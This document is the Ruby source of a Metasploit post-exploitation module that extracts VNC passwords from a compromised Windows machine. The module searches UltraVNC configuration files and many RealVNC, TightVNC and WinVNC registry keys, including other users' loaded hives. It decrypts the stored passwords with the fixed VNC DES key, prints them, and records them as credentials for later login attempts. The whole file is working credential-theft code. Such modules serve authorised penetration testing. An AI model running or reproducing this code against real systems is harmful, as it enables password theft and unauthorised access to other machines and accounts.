# post/windows/gather/enum_vnc_pw.rb ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' require 'rex/proto/rfb' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather VNC Password Extraction', 'Description' => %q{ This module extract DES encrypted passwords in known VNC locations }, 'License' => MSF_LICENSE, 'Author' => [ 'Kurt Grutzmacher ', 'mubix' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end def decrypt_hash(hash) if hash == nil return nil end # fixed des key # 5A B2 CD C0 BA DC AF 13 fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07" pass = Rex::Proto::RFB::Cipher.decrypt ["#{hash}"].pack('H*'), fixedkey return pass end # Pull encrypted passwords from file based storage def file_get(filename,splitvar) begin client.fs.file.stat(filename) config = client.fs.file.new(filename,'r') parse = config.read.split value = parse.at(parse.index{|x| x =~ /#{splitvar}/}).split(splitvar)[1] return value rescue return nil end end # Pull encrypted passwords from registry based storage def reg_get(key,variable) begin root_key, base_key = session.sys.registry.splitkey(key) open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) data = open_key.query_value(variable).data if data.class == Fixnum return data else value = data.unpack('H*')[0].to_s return value end rescue # Registry value not found return nil end end def run ''' Hash format :name, :check_file, :check_reg, :pass_variable, :port_variable, :port, :hash, :pass, :viewonly_variable, :viewonly_hash, :viewonly_pass ''' locations = [] #Checks progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)') progfiles_env.each do |k, v| next if v.blank? locations << {:name => 'UltraVNC', :check_file => "#{v}\\UltraVNC\\ultravnc.ini", :pass_variable => 'passwd=', :viewonly_variable => 'passwd2=', :port_variable => 'PortNumber='} end locations << {:name => 'WinVNC3_HKLM', :check_reg => 'HKLM\\Software\\ORL\\WinVNC3', :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => 'WinVNC3_HKCU', :check_reg => 'HKCU\\Software\\ORL\\WinVNC3', :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => 'WinVNC3_HKLM_Default', :check_reg => 'HKLM\\Software\\ORL\\WinVNC3\\Default', :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => 'WinVNC3_HKCU_Default', :check_reg => 'HKCU\\Software\\ORL\\WinVNC3\\Default', :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => 'WinVNC_HKLM_Default', :check_reg => 'HKLM\\Software\\ORL\\WinVNC\\Default', :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => 'WinVNC_HKCU_Default', :check_reg => 'HKCU\\Software\\ORL\\WinVNC\\Default', :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => 'WinVNC4_HKLM', :check_reg => 'HKLM\\Software\\RealVNC\\WinVNC4', :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => 'WinVNC4_HKCU', :check_reg => 'HKCU\\Software\\RealVNC\\WinVNC4', :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => 'RealVNC_HKLM', :check_reg => 'HKLM\\Software\\RealVNC\\Default', :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => 'RealVNC_HKCU', :check_reg => 'HKCU\\Software\\RealVNC\\Default', :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => 'TightVNC_HKLM', :check_reg => 'HKLM\\Software\\TightVNC\\Server', :pass_variable => 'Password', :port_variable => 'RfbPort'} locations << {:name => 'TightVNC_HKLM_Control_pass', :check_reg => 'HKLM\\Software\\TightVNC\\Server', :pass_variable => 'ControlPassword', :port_variable => 'RfbPort'} userhives=load_missing_hives() userhives.each do |hive| next if hive['HKU'] == nil locations << {:name => "RealVNC_#{hive['SID']}", :check_reg => "#{hive['HKU']}\\Software\\RealVNC\\Default", :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => "WinVNC4_#{hive['SID']}", :check_reg => "#{hive['HKU']}\\Software\\RealVNC\\WinVNC4", :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => "WinVNC_#{hive['SID']}_Default", :check_reg => "#{hive['HKU']}\\Software\\ORL\\WinVNC\\Default", :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => "WinVNC3_#{hive['SID']}_Default", :check_reg => "#{hive['HKU']}\\Software\\ORL\\WinVNC3\\Default", :pass_variable => 'Password', :port_variable => 'PortNumber'} locations << {:name => "WinVNC3_#{hive['SID']}", :check_reg => "#{hive['HKU']}\\Software\\ORL\\WinVNC3", :pass_variable => 'Password', :port_variable => 'PortNumber'} end print_status("Enumerating VNC passwords on #{sysinfo['Computer']}") locations.map { |e| print_status("Checking #{e[:name]}...") if e.has_key?(:check_reg) e[:port] = reg_get(e[:check_reg],e[:port_variable]) e[:hash] = reg_get(e[:check_reg],e[:pass_variable]) e[:pass] = decrypt_hash(e[:hash]) if e.has_key?(:viewonly_variable) e[:viewonly_hash] = reg_get(e[:check_reg],e[:viewonly_variable]) e[:viewonly_pass] = decrypt_hash(e[:viewonly_hash]) end elsif e.has_key?(:check_file) e[:port] = file_get(e[:check_file],e[:port_variable]) e[:hash] = file_get(e[:check_file],e[:pass_variable]) e[:pass] = decrypt_hash(e[:hash]) if e.has_key?(:viewonly_variable) e[:viewonly_hash] = file_get(e[:check_file],e[:viewonly_variable]) e[:viewonly_pass] = decrypt_hash(e[:viewonly_hash]) end end #reporting if e[:pass] != nil if e[:port] == nil e[:port] = 5900 end print_good("#{e[:name]} => #{e[:hash]} => #{e[:pass]} on port: #{e[:port]}") service_data = { address: ::Rex::Socket.getaddress(session.sock.peerhost, true), port: e[:port], service_name: 'vnc', protocol: 'tcp', workspace_id: myworkspace_id } # Assemble data about the credential objects we will be creating credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: self.refname, private_type: :password, private_data: "#{e[:pass]}" } # Merge the service data into the credential data credential_data.merge!(service_data) # Create the Metasploit::Credential::Core object credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data ={ access_level: 'interactive', core: credential_core, status: Metasploit::Credential::Login::Status::UNTRIED } # Merge in the service data and create our Login login_data.merge!(service_data) login = create_credential_login(login_data) end if e[:viewonly_pass] != nil print_good("VIEW ONLY: #{e[:name]} => #{e[:viewonly_hash]} => #{e[:viewonly_pass]} on port: #{e[:port]}") service_data = { address: ::Rex::Socket.getaddress(session.sock.peerhost, true), port: e[:port], service_name: 'vnc', protocol: 'tcp', workspace_id: myworkspace_id } # Assemble data about the credential objects we will be creating credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: self.refname, private_type: :password, private_data: "#{e[:viewonly_pass]}" } # Merge the service data into the credential data credential_data.merge!(service_data) # Create the Metasploit::Credential::Core object credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data ={ access_level: 'view_only', core: credential_core, status: Metasploit::Credential::Login::Status::UNTRIED } # Merge in the service data and create our Login login_data.merge!(service_data) login = create_credential_login(login_data) end } unload_our_hives(userhives) end end